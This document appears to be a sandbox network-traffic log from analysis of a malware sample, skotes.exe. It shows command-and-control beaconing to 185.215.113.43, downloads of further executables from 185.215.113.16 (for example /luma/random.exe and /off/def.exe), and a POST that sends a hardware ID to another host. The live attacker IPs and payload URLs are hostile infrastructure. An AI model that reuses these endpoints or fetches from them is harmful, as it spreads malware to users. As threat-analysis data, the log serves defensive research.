Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50240	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:52.909960985 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:27:54.393748045 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50242	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:56.142281055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:27:57.474301100 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50243	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:59.116821051 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:28:00.548113108 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50244	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:02.294436932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:28:03.713139057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50245	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:05.349256992 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:28:06.745620966 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50246	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:08.484963894 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:28:09.865582943 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50247	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:11.501590967 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:28:12.888767004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50252	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:14.638740063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:28:16.027075052 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50253	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:17.654264927 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:28:18.999465942 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50254	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:20.749886990 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:28:22.092933893 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50255	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:23.727063894 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:28:25.108866930 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50256	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:26.843013048 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:28:28.228565931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50257	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:29.859704971 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:28:31.302771091 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 38 37 36 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 37 36 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 37 36 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 37 37 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1008767001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008768001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008769001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008770001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50258	185.215.113.16	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:31.432197094 CET	139	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Sun, 24 Nov 2024 12:34:33 GMT If-None-Match: "67431d59-1c6200"
Nov 24, 2024 14:28:32.783723116 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:32 GMT Last-Modified: Sun, 24 Nov 2024 12:34:33 GMT Connection: keep-alive ETag: "67431d59-1c6200"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50260	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:35.089225054 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008767001&unit=246122658369
Nov 24, 2024 14:28:36.542804956 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50262	185.215.113.16	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:36.668920040 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Sun, 24 Nov 2024 12:34:40 GMT If-None-Match: "67431d60-1b7e00"
Nov 24, 2024 14:28:38.000720978 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:37 GMT Last-Modified: Sun, 24 Nov 2024 12:34:40 GMT Connection: keep-alive ETag: "67431d60-1b7e00"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	50264	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:39.119209051 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 14:28:40.508774042 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 14:28:40.510684967 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBGHCFCAAFIECAFIII Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 38 32 45 37 39 42 32 46 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 2d 2d 0d 0a Data Ascii: ------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="hwid"2682E79B2F583419705248------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="build"mars------BAEBGHCFCAAFIECAFIII--
Nov 24, 2024 14:28:40.964550018 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50265	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:40.298207998 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 36 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008768001&unit=246122658369
Nov 24, 2024 14:28:41.740127087 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50268	185.215.113.16	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:41.926800966 CET	138	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Sun, 24 Nov 2024 12:32:47 GMT If-None-Match: "67431cef-e1000"
Nov 24, 2024 14:28:43.322726965 CET	191	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:43 GMT Last-Modified: Sun, 24 Nov 2024 12:32:47 GMT Connection: keep-alive ETag: "67431cef-e1000"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50271	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:45.644445896 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008769001&unit=246122658369
Nov 24, 2024 14:28:47.087590933 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50272	185.215.113.16	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:47.214816093 CET	138	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Sun, 24 Nov 2024 12:33:14 GMT If-None-Match: "67431d0a-2af400"
Nov 24, 2024 14:28:48.639417887 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:48 GMT Last-Modified: Sun, 24 Nov 2024 12:33:14 GMT Connection: keep-alive ETag: "67431d0a-2af400"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50276	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:51.154062986 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008770001&unit=246122658369
Nov 24, 2024 14:28:52.621285915 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50279	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:54.377590895 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:28:55.930191040 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	50280	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:54.704500914 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
